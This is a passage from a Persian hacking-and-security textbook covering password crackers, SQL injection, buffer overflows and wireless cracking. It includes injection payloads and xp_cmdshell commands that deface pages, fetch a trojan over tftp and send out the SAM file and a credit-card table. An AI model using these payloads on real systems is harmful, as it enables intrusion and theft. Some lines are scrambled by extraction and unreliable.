  .دهد هاي سوئيچي را مي است كه امكان استراق سمع در شبكه ARPقابليتي به نام  يارادهمچنين 

  

Lophtcrack (LC4)افزارهاي شكستن پسورد است كه پسوردهاي اكانت ويندوزي كاربر را  ترين نرم ، يكي از رايج

  .كند بازيابي مي

  

John the Ripperپسورد در يونيكس است كه چندين حالت كرك را در يك برنامه قرار داده است افزار شكستن ، نرم.  
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Gammaprogهاي ايميل مبتني بر وب است كه از  افزار شكستن پسورد براي آدرس ، نرمPOP3 كند پشتيباني مي.  

  

MessenPass ابزاري براي بازيابي پسورد است كه پسوردهاي ،MSN Messanger ،Yahoo Messanger و ،

Google Talk كند را آشكار مي.  

  

Password Spectatorها و  افزار هم با برنامه اين نرم. دهد ها را نشان مي افزاري است كه پسورد واقعي پشت ستاره ، نرم

  .كند هم با وب سايت كار مي

  

Webcrackerال پاسخ به دنب. كند از يك ليست براي تست ورود به وب سرور استفاده مي ، ابزاري است كه"HTTP 

302 object moved" تواند نوع احراز هويت  با استفاده از اين پاسخ، اين ابزار مي .گردد تا پسورد را حدس بزند مي

  .مورد استفاده را تعيين كند و از آن براي ورود به سيستم استفاده كند

  
  

 Brutus ،Obiwan ،Authforce ،Hydra ،RAR ،WebCracker ،Munga: برخي ديگر از ابزارهاي هك عبارتند از

Bunga ،PassList ،SnadBoy ،Wireless WEP Key Password Spy ،RockXP ،WWWhack ،

Passwordstate ،Atomic Mailbox Password Cracker ،Advanced Mailbox Password Recovery ،

Networl Password Recovery ،Mail PassView ،Messenger Key و ،SniffPass.  

  

، WebPassword ،Password Administrator: همچنين برخي از ابزارهاي امنيتي براي پسورد عبارتند از

Password Safe ،Easy Web Password ،PassReminder، و My Password Manager.  
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 منه فصل

 

SQL Injection  وBuffer Overflow 
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  مقدمه

ورودي  كادر، از اين نظر مشابه هم هستند كه هر دو از طريق Buffer overflowو  SQL injectionحملات 

)input box (ورودي كاربر، جائي است كه ممكن است كاربري، نام كاربري و كلمه عبور  كادر. گيرند كاربر انجام مي

اضافه كند و يا جستجويي براي يك كلمه در يك برنامه  URLهايي به  خود را در يك وب سايت وارد كند، يا داده

  . دهدانجام 

: گيرند ميانجام هر دو به خاطر يك مشكل  Buffer overflowو  SQL injectionهاي  آسيب پذيري

تواند وارد كند  اگر برنامه نويسان، زمان كافي براي بررسي متغيرهايي كه كاربر مي). invalid(پارامترهاي نادرست 

توانند از اين آسيب  اي، مي هكرهاي حرفه. قابل پيش بيني به همراه خواهد داشتصرف نكنند، نتايج جدي و غير

  .دنبگيرند تا دستورات خود را اجرا كن shellرا خاموش كنند يا ها استفاده كنند و سيستم يا برنامه  پذيري

  

  

SQL Injection چيست؟ 

شود يا كدهاي وب سايت، سبب اجراي  مي فرم بو، كد مخرب وارد فيلدهاي SQL injectionدر طول حمله 

shell دستوراتي به فرم بوتواند از طريق فيلدهاي  هكر مي .شوند يا دستورات دلخواه ديگر مي ،SQL server  اضافه

ممكن است جدول . دا باز كند و يا جداول پايگاه داده را نمايش دهر Cmdتواند  براي مثال، دستورات هكر مي. كند

بسياري  .ها و يا پسوردها باشد هاي كارت اعتباري، شماره شناسنامه پايگاه داده شامل اطلاعات شخصي از قبيل شماره

به همين . دكنن استفاده مي SQL server هاي هاي محرمانه خود از پايگاه داده سازي داده ها براي ذخيره از سازمان

  .ها هدف با ارزشي براي هكرها هستند SQL serverخاطر، 
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SQL Injection ، سازد تا دستورات غير مجاز  كند و هكر را قادر مي استفاده ميسو هاي وب برنامهازSQL  را

ه ب. سازد مي SQLهاي  و كوئري كردهاستفاده سوهاي وب  هاي نا امن در برنامه از مزاياي كوئرينين، چهم. اجرا كند

استفاده  SQLوئري مثال زمانيكه كاربري با استفاده از نام كاربري و كلمه عبور قصد لاگين كردن دارد، از ك عنوان

براي ارسال نام كاربري و كلمه عبور تصنعي استفاده كند و  SQL injectionتواند از  حال، هكر مي با اين. دنك مي

  .را آلوده سازد SQLكوئري اصلي 

  

  

  SQL injectionمراحل انجام 

، هكر بايد مشخص كند كه آيا پيكربندي پايگاه داده و جداول و SQL injectionقبل از اجراي حمله 

  :عبارتند از SQL serverمراحل تعيين آسيب پذيري . متغيرهاي مربوطه، آسيب پذير هستند يا نه

دهد براي  اجازه ارسال داده را به كاربر مياستفاده كنيد و به دنبال وب سايتي باشيد كه از مرورگر وب  .1

از قبيل (پايگاه داده دارد داده به فيلدهايي براي ورود صفحاتي كه يا  ، صفحه جستجو،صفحه لاگينمثال، 

 POSTبا بررسي كد سايت، به دنبال صفحات وبي باشيد كه دستورات ). "I forget my password"فرم 

سايت، پارامتري مشاهده  URLاستفاده شده باشد، در  POSTاگر از متد  .دهند را نمايش مي GETيا 

يا  GETبراي تشخيص . دي از آن برداشت كنيدرا بررسي كنيد تا اطلاعات مفي صفحهكد . كنيد نمي

POST  بودن، به دنبال تگ<Form> در كد باشيد: 

<Form action=search.asp method=post> 

<input type=hidden name=X value=Z> 

</Form>  
هايي باشيد كه  URLرا بررسي كنيد يا به دنبال  PHP، يا ASP ،JSP ،CHIه اگر وارد نشد، صفحاتي شبي

  : به عنوان مثال، پارامتر زير را بگيرد
http://www.xsecurity.com/index.asp?id=10 

  :تواند از عبارت زير استفاده كند در مثال بالا، هكر مي
http://www.xsecurity.com/index.asp?id=blah' or 1=1— 
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2. SQL server  فهميد كه آيا متغير ورودي كاربر،  با اينكار مي .تست كنيد) ' '(را با استفاده از كوتاي خالي

يا چيزي (بدهد  'a'='a'اگر سرور، پاسخي با پيام . شود يا نه اللفظي تفسير مي توسط سرور بصورت تحت

به عنوان نام ) '(اگر زمانيكه از  .است SQL injectionحمله  مستعد به احتمال زياد ، آنگاه)مشابه اين

 .آسيب پذير است SQL Injectionكاربري استفاده كنيد و پيغام زير نشان داده شود، يعني براي حمله 

 
 

براي اضافه كردن اطلاعات به پايگاه داده استفاده  INSERTبراي بازيابي داده و  SELECTاز دستور  .3

 .كنيد
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  SQL Serverهاي  آسيب پذيري

آورده شده  شود ميدر فرم وب استفاده  SQLهاي  در اينجا چند مثال از متغيرهايي كه براي تست آسيب پذيري

  :است

 :در كادر ورودي استفاده كنيد) '(از يك كوتا 

Blah' or 1=1— 

Login: blah' or 1=1— 

Password:: blah' or 1=1— 

http://search/index.asp?id=blah’ or 1=1— 

  :استفاده كنيد SQL Injection يارب ديناوت يم زين ريز ياهدك زا نينچمه

' or 1=1  --  

" or 1=1  --  

or 1=1 -- 

' or 'a'='a 

" or "a"="a 

') or ('a'='a) 

") or ("a"="a) 

بسته به ساختار پايگاه داده، ممكن است كه اين دستورات و متغيرهاي مشابه، اجازه دور زدن لاگين را به شما 

كنيد، ممكن است سطرهاي زيادي از جدول يا حتي تمام جدول  فيلد فرم وارد مي دراين دستورات را زمانيكه . بدهند

دو علامت منها كه در . كند اللفظي آنها را تفسير مي ، بصورت تحتSQL serverرا برگرداند براي اينكه  پايگاه داده

  .گويد كه باقيمانده دستورات را ناديده بگيرد مي SQLپايان دستور گذاشته شده است، به 

  :آورده شده است اجراي دستورات سيستم عامل براي SQLدر اينجا چند مثال از چگونگي استفاده از دستورات 

  :براي گرفتن ليست دايركتوري، متن زير را در فيلد فرم وارد كنيد

Blah’;exec master..xp_cmdshell “dir c:\*.* /s >c:\directory.txt”-- 
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  :در فيلد فرم وارد كنيد براي ايجاد يك فايل، متن زير را

Blah’;exec master..xp_cmdshell “echo hacker-was-here > c:\hacker.txt”-- 

  :، متن زير را در فيلد فرم وارد كنيدIPكردن يك آدرس  pingبراي 

Blah’;exec master..xp_cmdshell “ping 192.168.1.1”--  

 ):داده شده است writeبا فرض اينكه به دليل اشتباه در پيكربندي، اجازه (تغيير يك صفحه وب 

Blah’;exec master..xp_cmdshell “echo you-are-defaced >  

c:\inetpub\WWW.root\index.htm"--  

  ):هاي غير گرافيكي تنها برنامه(اجراي برنامه 

Blah’;exec master..xp_cmdshell “cmd.exe /c appname.exe"--  

  :آپلود يك تروجان به سرور

Blah’;exec master..xp_cmdshell “tftp -i 10.0.0.4 GET Trojan.exe 

C:\trojan.exe"--  

  :دانلود يك فايل از سرور

Blah’;exec master..xp_cmdshell “tftp –i 10.0.0.4 put  

C:\winnt\repair\SAM SAM" -- 

براي مثال براي ذخيره . استفاده كنيد sp_makewebtask، از HTMLذخيره خروجي در يك فايل براي 

  :اي كه هكر به اشتراك گذاشته است، از دستور زير استفاده كنيد در پوشه creditcardجدولي به نام 

Blah';EXEC master..sp_makewebtask "\\10.10.1.4\share\creditcard.html", 

 "SELECT * FROM CREDITCARD"  

  :عبارتند از SQL injectionبرخي از ابزارهاي خودكار براي 

SQLDict ،SqlExec ،SQLbf ،SQLSmack ،SQL2.exe ،AppDetective ،Database Scanner ،SQLPoke ،

NGSSQLCrack ،NGSSQuirreL و ،SQLPing v2.2.  
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Blind SQL Injection  

بر اساس يك اشتباه رايج  و دهد دسترسي هكر به يك وب سرور را ميهاي هك است كه اجازه  يكي از روش

واند ت هكر مي. كند را اجرا مي SQLهاي  كوئريپذيرد و  ها را بدون بررسي، از كلاينت مي برنامه، داده: كند كار مي

  .محتواي پايگاه داده را استخراج، اصلاح، اضافه يا حذف كند

  

هاي كلاينت  نويسان بايستي اجازه ندهند كه داده ، برنامهSQL injection رباربها در  براي امن سازي برنامه

كه براي برنامه مورد نياز هستند، بايد در  SQLتمام دستورات . را تغيير دهد SQLدستورات ) syntax(بتواند گرامر 

 JDBCهاي امني چون   برنامه بايد با استفاده از اينترفيس. دهاي ذخيره شده روي سرور پايگاه داده قرار گيرن پردازش

  .هاي ذخيره شده استفاده كند براي اجراي پردازش ADOيا 

  

  SQL Injectionمقابله با 

، كاهش سطح ارتباطي كاربر با پايگاه داده و قرار دادن پسورد SQL injectionاولين روش جلوگيري از حمله 

فعال سازيد تا هاي تشريحي و توضيحي را غير پيامشما بايد . است administratorو  saهاي  پيچيده براي اكانت

تواند به هكر در تشخيص آسيب پذير بودن  اين اطلاعات مي(هكر ارسال نشود  راياطلاعاتي كه ضروري نيستند، ب

SQL serverهمچنين هيچگاه با دسترسي اكانت  ).، كمك كندadminهاي  براي داده. شويد، به پايگاه داده متصل ن

  .حساس از رمزگذاري استفاده كنيد و آنها را بصورت غير رمز شده ذخيره نكنيد

  :هاي برنامه نويسي زير را بررسي كنيد ضرورت دارد كه كد را بازبيني كنيد تا ضعف

 )single quota(فقط كوتا  •

 سي دقيق وروديرعدم بر •
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  :عبارتند از SQL injectionهاي مقابله به  برخي از روش

 هاي نادرست عدم پذيرش ورودي •

 هاي ورودي بررسي محدوديت •

  :يك كد صحيح براي صفحه لاگين به صورت زير است

  

هاي  براي شناسايي و گزارش آسيب پذيري Acunetix Web Vulnerability Scannerافزار  همچنين از نرم

SQL تان استفاده كنيد برنامه يا وب سايت.  

   

  ها آسيب پذيرند؟ برنامهچرا 

  .شوند شوند و يا اينكه اصلا بررسي نمي ها بطور كامل بررسي نمي محدوديت •

  داراي خطاهايي است Cنويسي همچون  هاي برنامه زبان •

ند مورد سواستفاده قرار گيرند براي نتوا مي ()scanfو  ()strcat() ،strcpy() ،sprint() ،bcopy() ،getsتوابع  •

كنند كه ببينند آيا بافري كه روي پشته اختصاص داده شده است، به اندازه  اينكه اين توابع، بررسي نمي

  ها داخل آن بزرگ است يا نه كافي براي كپي داده
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  هاي شناسايي و روش Buffer Overflowانواع 

Buffer overflow ،اي استفاده كند تواند بر عليه سيستم عامل يا برنامه هستند كه هكر ميهايي  تيولپسكا ها .

كردن  زيررس اين حمله، با. كند از فيلدهاي ورودي كاربر استفاده مي، SQL injection مانند حملاتاين حمله نيز 

 .شود تن سيستم ميدستوري يا كد مورد دلخواه بر روي سيستم هدف باعث از كار انداخ shellحافظه يا اجراي يك 

اگر . هاي فيلد ورودي كاربر در فرم وب است ، به خاطر عدم بررسي كافي محدوديتbuffer overflowآسيب پذيري 

سازي، اندازه يا فرمت متغير را بررسي نكند، آسيب پذيري  هاي فرم كاربر براي ذخيره داده اي، قبل از ارسال برنامه

overflow وجود دارد.  

بايت را براي نگه داشتن رشته  32شود، بلوكي از  زمانيكه اين كد كامپايل و اجرا مي. كد زير را در نظر بگيريد

  .رايج است NTهاي مبتني بر يونيكس و  اين نوع آسيب پذيري، در سيستم. دهد اختصاص مي

  

  

  

  ):Stack(پشته 

كند و همه اطلاعات را كه  مشابه بافر عمل مي ).last in first out(كند  پيروي مي LIFOپشته، از مكانيزم 

  .شود مي) release(شود و در انتهاي تابع، آزاد  پشته، ابتداي تابع ايجاد مي. دارد توابع نياز دارند را نگه مي
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Heap:  

Heapشود كه بصورت پويا در زمان اجرا اختصاص  اي استفاده مي اي از حافظه است كه توسط برنامه ، منطقه

  .يابد اختصاص مي mallocها با استفاده از رابط  شوند كه داده متغيرهاي استاتيك در پشته ذخيره مي. شود داده مي

  

براي  هاي حافظه ، مكانheapو  heap-baesd .Stackو  stack-based: وجود دارد buffer overflowدو نوع 

به آنها  هشوند تا زمانيكه برنام ذخيره مي heapيا  stack متغيرها در. هستند متغيرهاي كاربر با برنامه در حال اجرا

ها، فضاي  heapثابتي از فضاي آدرس حافظه هستند در حاليكه  هاي ، مكان)ها stack(ها  پشته .دننياز داشته باش

مبتني بر  Buffer overflow. گيرند شكل مياي در حال اجرا است،  هاي حافظه پويا هستند كه زمانيكه برنامه آدرس

heapدهد و متغيرهاي پوياي ديگر را  ، در بخش كوچكتري از حافظه رخ ميoverwrite در نتيجه، يك  .كند مي

  . ها را بگيرد را باز كند يا جلوي اجراي برنامه Cmdيا  shellتواند  برنامه مي
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دار قاست، هكر، م برنامه نويسيكه ناشي از ضعف در  buffer overflowهاي  براي شناسايي آسيب پذيري

  .كند فرستد و به نتيجه برنامه نگاه مي زيادي داده از طريق فيلد فرم به برنامه مي

  

  )stack-based buffer overflow( مبتني بر پشته رفاب يزيررس

Buffer overflow مبتني بر پشته هاي )stack-based(  دهد كه بافر از فضاي پشته تجاوز كند و  رخ ميزماني

كند بنابراين،  overwriteگر بازگشتي را  تواند اشاره سرريزي، مي. تواند وارد پشته شود كد مخرب مي .بيشتر شود

هاي زياد  هاي زيادي براي قرار دادن داده و مشتقات آن، روش Cزبان  .كند جريان كنترل به كد مخرب تغيير مي

  .دهد داخل يك بافر پيشنهاد مي) بيشتر از انتظار(

  

  :دهد عبارتند از براي اجراي اين نوع حمله انجام مي مراحلي كه هكر

 .كند ميوارد ) stack(متغيري در بافر براي تخليه حافظه پشته  .1

تا سبب  كند ميبيشتر از مقداري كه در حافظه براي بافر كردن متغير در نظر گرفته شده است، داده وارد  .2

و  كند ميپس، متغير ديگري را اضافه س. سرريزي حافظه يا اجرا در فضاي حافظه پردازش بعدي شود

 .گويد پس از اجرا شدن متغير، به كجا برگردد كه به برنامه مي كند مي overwriteگر برگشتي را  اشاره

گر بازگشتي براي بازگشت به خط بعدي كد  كند و سپس از اشاره برنامه، متغير اين كد مخرب را اجرا مي .3

كند، آنگاه برنامه،  overwriteگر را  اگر هكر بتواند بصورت موفقيت آميزي اشاره. كند قابل اجرا، استفاده مي

 .كند به جاي اجراي كد برنامه، كد هكر را اجرا مي
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هاي از پيش  تيولپسكاها ندارند براي اينكه  buffer overflowا، نيازي به آشنايي با جزئيات بسياري از هكره

  .شود مي لدب و ورد كه بين هكرهاي مختلف اي بر روي اينترنت وجود دار نوشته شده آماده

  .ام داردن EIPگيرد،  و آدرس برگشتي آن را مي) overwritten(نوشته شده  تيولپسكا كدرجيستر حافظه كه  :نكته

  

  )heap )heap-based overflow رب ينتبم رفاب يزيررس

در اين . شوند ايجاد مي heap، در )()mallocاز قبيل (د نياب متغيرهايي كه بصورت پويا به توابع اختصاص مي

 overwriteكند و متغيرهاي پوياي ديگر را  قرار دارد، سرريز مي heapتر  حمله، هكر، بافري را كه در بخش پايين

  .تواند تاثيرات ناخواسته يا غيرمنتظره داشته باشد كند كه مي مي

تواند  اي براي مقصد، مناسب است يا نه، اقدام به كپي آن كند، هكر مي اي بدون بررسي اينكه داده اگر برنامه

  .كند overwriteرا  heapهايي كه بسيار بزرگ هستند را به برنامه دهد و اطلاعات مديريت  داده

  

شل كد، از مشكلات كامپيوتر . است stack-based overflow، روشي براي استفاده از )Shellcode(كد شل 

 توانند به آساني بافرها، مقاصد راحتي براي هكرها هستند براي اينكه آنها مي .كند مديريت پشته استفاده مي براي

  .كنند زيررس
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  در برنامه buffer overflowروش شناسايي 

يعني توابع را . داولين روش اين است كه كد منبع برنامه را بررسي كني: براي اين منظور وجود دارددو روش 

مخصوصا توابعي كه ورودي يا خروجي آنها به رشته . اند يا نه بررسي كنيد تا ببينيد آيا به درستي استفاده شده

)string (به برنامه و بررسي رفتار غير طبيعي آن استدومين روش، وارد كردن مقدار زيادي داده . دنشو مربوط مي.  

  

اي سواستفاده كند و بتواند يك رشته طولاني را به عنوان ورودي ارسال  فرض كنيد كه هكري از يك تابع رشته

شود و  مي overwriteتابع،  ازگشتيگر ب اشاره. شود مي segmentationاين رشته، سبب سرريزي بافر و خطاي . كند

پس از آنكه هكر توانست كد خود را وارد كند بايد آدرس دقيق و اندازه پشته  .جريان اجرا را تغيير دهدتواند  هكر مي

  .گر بازگشتي را براي اجراي كد خود، هدف گيري كند را بداند و اشاره

  

  buffer overflowهاي تغيير  تكنيك

گر برگشتي به كد  ، براي هدايت اشارهbuffer overflowبا استفاده از  توانند بينيد، هكرها مي همانطوريكه مي

هكر . آن كد را اجرا كند ،گر برگشتي بداند تا اشاره ارا دقيق هتشپ هكر بايد آدرس حافظه و اندازه. دنخود استفاده كن

هستند و براي جابجايي  paddingفقط  استفاده كند كه) NOP )No Operationتواند از يك دستورالعمل  مي

  .شود تا اجرا شود ، به رشته قبل از كد مخرب اضافه ميNOP. كند را اجرا نمي يو هيچ كدست گر ا اشاره

ها براي فرواد كردن  NOPاي از  عههكر براي ارسال مجموتلاش وجود داشته باشد،  IDS، اي اگر در شبكه

هاي هم ارز  تصادفي را با تكه NOPتواند تعدادي  ، هكر ميIDSبراي دور زدن . دشو گر دستورالعمل، خنثي مي اشاره

ر داده شده است كه يتغي buffer overflowي از حمله اين مثال .x++ , x--;?NOPNOPجايگزين كند مثلا  ،كد

  .كند جلوگيري مي IDSتواند از شناسايي شدن توسط  مي

د براي ناستفاده كن ()streadd، و ()strcpy() ،strcatاز قبيل  ++Cيا  Cزبان  خودبرنامه نويسان نبايد از توابع 

تواند به عنوان زبان برنامه نويسي جايگزين استفاده شود  جاوا مي. هستند buffer overflow حمله اينكه آنها مستعد

  .تسا، مقاوم buffer overflowحملات در مقابل  براي اينكه
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  buffer overflowهاي جلوگيري از  روش

RAD يك ،patch كند تا يك كپي آدرس  ساده براي كامپايلر است كه بصورت خودكار، نواحي امني ايجاد مي

كند تا از  كند و برنامه را كامپايل مي پس از آن، براي محافظت از برنامه، كدي را اضافه مي. برگشتي را ذخيره كند

  .جلوگيري كند buffer overflowحملات 

  

براي نوشتن  StackGuard ،Immunix System ،Valgrind ،Insure++ ،Libsafeهمچنين از ابزارهايي نظير 

  .استفاده كنيد buffer overflowبرنامه امن و جلوگيري از حملات 

www.ketabha.org



  

  

  

  

  

 دهم فصل

 

  وايرلسهاي  شبكههك 
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  مقدمه

بودن  broadcastبه خاطر خاصيت . است هاي وايرلس شبكهيكي از نقاط ورودي هكرها به شبكه، استفاده از 

هاي خانگي و تجاري، آسيب  هاي وايرلس براي شبكه هاي وايرلس و سازگاري سريع تكنولوژي فركانس راديويي شبكه

  .هاي زيادي دارند پذيري

هاي آن از قبيل  هلحاقيو ا IEEE 802.11، بر مبناي استاندارد )WLAN(هاي محلي وايرلس  بسياري از شبكه

802.11a ،802.11b 802.11، وn هاي  ضعفو  دراد ار امنيتي اوليههاي  قابليت، تنها 802.11استاندارد . دنننك يم راك

، Wi-Fiاتحاديه  .دهد را پوشش مي 802.11هاي  ، آخرين راه حل امنيتي است كه ضعف802.11iالحاقيه  .زيادي دارد

شوند را براي پر كردن فاصله بين استاندارد اصلي  ناميده مي WPA2و  WPAهاي امنيتي بيشتري كه  گواهينامه

هاي امنيتي بر  ها و راه حل در اين فصل در مورد آسيب پذيري. ارائه داده است ،802.11iو آخرين الحاقيه  802.11

  .بحث خواهيم كرد Wi-Fiو  IEEEمبناي استانداردهاي 

  

  استانداردهاي وايرلس

  .كند را تعريف مي Infraredو  FHSS ،DSSSاولين استاندارد وايرلس بود كه سه لايه فيزكي : 802.11

802.11a :هاي بيشتر، سرعت بالا، تداخل كمتر كانال  

802.11b : ظهور پروتكلWiFiاستاندارد غير رسمي ،  

802.11g : 802.11مشابهbاما سريعتر ،  

802.11i :بهبود در امنيت شبكه وايرلس  

  هاي طولاني زيرساخت وايرلس براي مسافت: 802.16

Blutooth :اي براي جايگزيني كابل گزينه  

900MHz :سرعت پايين، پوشش كم، و مشكلات سازگاري  
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  مفاهيم وايرلس

ها  كنند و براي ارسال و دريافت داده هاي الكترونيكي را به امواج راديويي و برعكس تبديل مي ها، پالس آنتن :آنتن

  .directionalو  omni: دو نوع آنتن وجود دارد. مهم هستند

Access Point: نقش آن در . كند افزار ارتباطي وايرلس است كه يك نقطه مركزي ايجاد مي اي از يك سخت قطعه

  .هاي كابلي است هاي وايرلس، مثل نقش هاب در شبكه كهشب

SSID: استفاده  نآ زا هاي وايرلس براي ايجاد و نگهداري ارتباط وايرلس يك شناسه منحصربفرد است كه دستگاه

. كند يمكنند را از هم تفكيك  هايي كه در يك كانال كار مي ، يك رشته الفبايي است كه شبكهSSID. ندنك مي

پيش فرض تغيير نكند، با  SSIDزمانيكه . كند ها و كلاينت عمل مي access pointسه بين به عنوان شنا همچنين

  .شويم مشكل امنيتي مواجه مي

  

  هاي شكستن آنها ، و تكنيكWPAو  WEPهاي احراز هويت  مكانيزم

سيستم باز : هاي وايرلس، دو روش وجود دارد در شبكه access pointها به يك  براي احراز هويت كلاينت

)open system (احراز هويت كليد مشترك و )shared key(.  در حالت سيستم باز، هيچ مكانيزم امنيتي ارائه

براي احراز  WEPدر احراز هويت كليد مشترك، از كليد . شود تر مي شود اما درخواست ارتباط با شبكه ساده نمي

  .شود هويت كلاينت استفاده مي

روي بر ها  براي رمزگذاري داده WEP. است WEP، استفاده از هاي وايرلس شبكه اولين گزينه براي امنيت در

براي  .ها استفاده شود تواند همراه با كليد مشترك براي احراز هويت كلاينت شود و مي استفاده مي هاي وايرلس شبكه

يك  ياراد WEPاين كليد . كند بيتي استفاده مي 128بيتي يا  64از كليدهاي رمزگذاري  WEPها،  رمزگذاري داده

شود  تركيب مي) IV )Initialization Vectorبيت  24بيتي است كه كاربر تعريف كرده كه با  104بيتي يا  40كليد 

  .دنك بيتي مي 128بيتي يا  64را بصورت  WEPو كليد 

 WEPبه هكر اجازه شكستن كليد : است WEPكند، نقطه ضعف  استفاده مي IVاز  RC4طي آن رآيندي كه ف

اين . كند هاي رمز شده خروجي براي تعيين كليد احتمالي استفاده مي ، از بايتFMSروشي با نام حمله . دهد را مي

 WEPوجود دارد تا از آسيب پذيري  aircrack، و AirSnort ،WEPCrackافزارهايي همچون  روش حمله در نرم

ترين  را بشكند اما رايج WEP، كليد brute forceهر چند كه ممكن است هكري بخواهد با روش . سواستفاده كنند

  .است FMSتكنيك براي اين منظور، حمله 
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WPA يك استاندارد رسمي براي ،IEEE  802.11نيست اما با استانداردi براي  .كه خواهد آمد سازگار است

كند كه  ، استفاده ميWPA Enterpriseيا  WPA Personalاز  ،و براي احراز هويت TKIPها از  رمزگذاري داده

كند در  استفاده مي ASCII، براي احراز هويت كاربران، از عبارت WPA Personal. است RC4سازي امني از  پياده

، از لحاظ امنيتي بسيار WPA Enterprise. دكن استفاده مي RADIUS Server، از WPA Enterpriseحاليكه 

كند تا ضعف  مي rotate، كليد رمزگذاري را TKIP. است RADIUS Serverقدرتمندتر است اما مستلزم ايجاد 

WEP را برطرف كند و در نتيجه، از بروز حملات جلوگيري كند.  

WPA2 802.11، مشابهi  است و ازAES كند ها استفاده مي براي رمزگذاري داده .AES به عنوان يك ،

 دهد يم اردر طول دوره انتقال  TKIP، اجازه استفاده از WPA2. شود قابل شكستن تلقي ميالگوريتم رمزگذاري غير

تواند از  ها، مي به اين معني است كه براي رمزگذاري داده Mixed mode. شود ناميده مي mixed mode securityو 

TKIP  و ياAES الگوريتم . استفاده كندAES هايي  نياز به پردازنده قدرتمندي دارد اين بدان معني است كه دستگاه

 WPA Personal. پشتيباني كنند TKIP، ممكن است تنها از PDAاز قبيل  ،تري هستند كه داراي پردازشگر ضعيف

و  WPA Enterprise. كنند هاي وايرلس استفاده مي كلاينت، از پسورد براي احراز هويت WPA2 Personalو 

WPA2 Enterprise كاربران را از طريق ،RADIUS Server  802.1با استفاده از استانداردهاي وX  ياEAP  احراز

  . كند استفاده مي WPA2، از همان مكانيزم رمزگذاري و احراز هويت WPA2و  802.11iهمچنين  .كنند هويت مي
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  .دهد هاي وايرلس نشان مي هاي احراز هويت و رمزگذاري را براي شبكه زير، گزينهجدول 

  ضعف  احراز هويت  رمزگذاري  

 WEPسبب شكسته شدن كليد  IEEE 802.11  WEP WEP IVاستاندارد 

براي رمزگذاري و احراز هويت . شود مي

هاي وايرلس، از يك كليد  همه كلاينت

  شود استفاده مي

WPA TKIP  پسورد ياRADIUS 

)802.1x/EAP(  

پسورد براي حمله ديكشنري، آسيب پذير 

  است

WPA2 AES  پسورد ياRADIUS 

)802.1x/EAP(  

پسورد براي حمله ديكشنري، آسيب پذير 

  است

IEEE 802.11i AES  پسورد ياRADIUS 

)802.1x/EAP(  

پسورد براي حمله ديكشنري، آسيب پذير 

  است

  

  وايرلساصطلاحات هك شبكه 

WarWalking :هاي وايرلس باز پياده روي در محيط براي يافتن شبكه  

Wardriving :هاي وايرلس  رانندگي در محيط براي يافتن شبكه

  باز

WarFlying :هاي وايرلس باز پرواز در محيط براي يافتن شبكه  

WarChalking : استفاده ازchalk هاي وايرلس  براي يافتن شبكه

  باز

Blue Jacking : استفاده از تكنولوژي بلوتوث براي دزدي موقتي

  تلفن همراه شخص ديگر

GPS :شود هاي باز استفاده مي براي يافتن شبكه  
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  ابزارهاي هك
Aircrack ،براي شكستن پسورد  افزاري نرمWEP ها را بگيرد بلكه براي شكستن پسورد  تواند بسته اين ابزار نمي. است

بر روي ويندوز و لينوكس اجرا  Aircrack. رود شده با استفاده از ابزار ديگر بكار مي هاي رمز  پس از گرفتن بسته
  .شود مي

  
WEPCrack  وAirSnortهاي لينوكسي هستند ، ابزارهاي شكستن پسورد در محيط.  

  
NetStumbler  وKismetاين ابزارها، . هاي وايرلس هستند ، ابزارهاي كشف شبكهMAC address ،SSID حالت ،

هاي مخفي،  SSIDتواند بر اساس  مي Kismetعلاوه بر اين، . كند امنيتي، و كانال شبكه وايرلس را شناسايي مي
  .ائه دهدرا ار IDSآوري كند و  قابليت  هاي را جمع هاي وايرلس را كشف كند، بسته شبكه

  
WEPdecrypt ابزاري براي حدس كليد ،WEP  بر مبنايdictionary attack  وkey generator است.  

  
CowPatty  ابزاري براي شكستنWPA-PSK  به روشbrute force است.  

  

   MAC spoofingها و  SSIDقرار دادن هاي وايرلس و  استراق سمع كننده

ترين حملات است و معمولا  اين يكي از آسان. ترين حملات در شبكه وايرلس، استراق سمع است يكي از رايج

ها  بستهشود براي اينكه  اند، انجام مي هايي كه بصورت پيش فرض نصب شده access pointها يا  hotspotبر روي 

يرلس كه رمز نشده است، پسوردهاي در شبكه وا. شوند بصورت رمز نشده از طريق شبكه وايرلس ارسال مي

  .بصورت رمز نشده قابل دريافت هستند SMTPو  FTP ،POP3هاي دسترسي به شبكه، از جمله  پروتكل

SSIDتواند در  ، نام شبكه وايرلس است و ميbeacon اگر دو شبكه وايرلس بصورت فيزيكي نزديك . قرار بگيرد

ارسال  beaconبصورت رمز نشده در بسته  SSIDمعمولا . ها است مشخص كننده هر كدام از شبكه SSIDهم باشند، 

حال، اين يك  با اين. دهند را به مديران شبكه مي SSIDاجازه مخفي كردن ها،  access pointبسياري از . شود مي

  .هاي ديگر بخوانند بستهرا از  SSIDتوانند  مكانيزم امنيتي قوي نيست براي اينكه برخي از ابزارها مي

مدير شبكه، ليستي از . است MAC filteringحل امنيتي جديد در تكنولوژي وايرلس، استفاده از  راهيك 

MAC address كند تا اجازه دسترسي به  هاي معتبر را وارد ميaccess point تنظيمات .را پيدا كنند MAC 

filter  ،ها سخت است و براي شبكه بزرگscaleable  نيست براي اينكه بايد بر روي هرaccess point انجام شود .

، هيچگاه MACاز آنجائيكه هدرهاي . كند را خنثي مي MAC filtering، ساده است و MAC spoofingانجام 

  .معتبر را شناسايي كند MAC addressتواند يك  هكر ميشوند،  رمزگذاري نمي
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 XPدر ويندوز  MAC Addressتغيير دستي 

  :براي اينكار وارد رجيستري ويندوز شويد و وارد مسير زير شويد

HKEY_LOCAL_MACHINE > System > CurrentControlSet > Control  

را پيدا كنيد و آن را باز  {4D36E972-E325-11CE-BFC1-08002bE10318}را باز كنيد تا فولدر  classفولدر 

ايد  اي كه بر روي ويندوز نصب كرده با توجه به كارت شبكه XPز اين فولدر شامل اطلاعات رجيستري ويندو. كنيد

. را انتخاب كنيد String Valuesو سپس  New، گزينه Editكارت شبكه وايرلس خود را پيدا كنيد از منوي . است

 MAC. را انتخاب كنيد Modifyبر روي آن راست كليك كنيد و گزينه . را تايپ كنيد NetworkAddressعبارت 

Address  جديد را تايپ كنيد و بر رويOK بعد از راه اندازي كامپيوتر، . كليك كنيدMAC Address  جديد مورد

  .استفاده قرار خواهد گرفت

  ابزارهاي هك

SMAC ابزاري براي ،MAC spoofing  شود مياست كه براي جعل آدرس كاربر و دسترسي به شبكه استفاده.  

  

Rogue Access Point )تقلبي(  

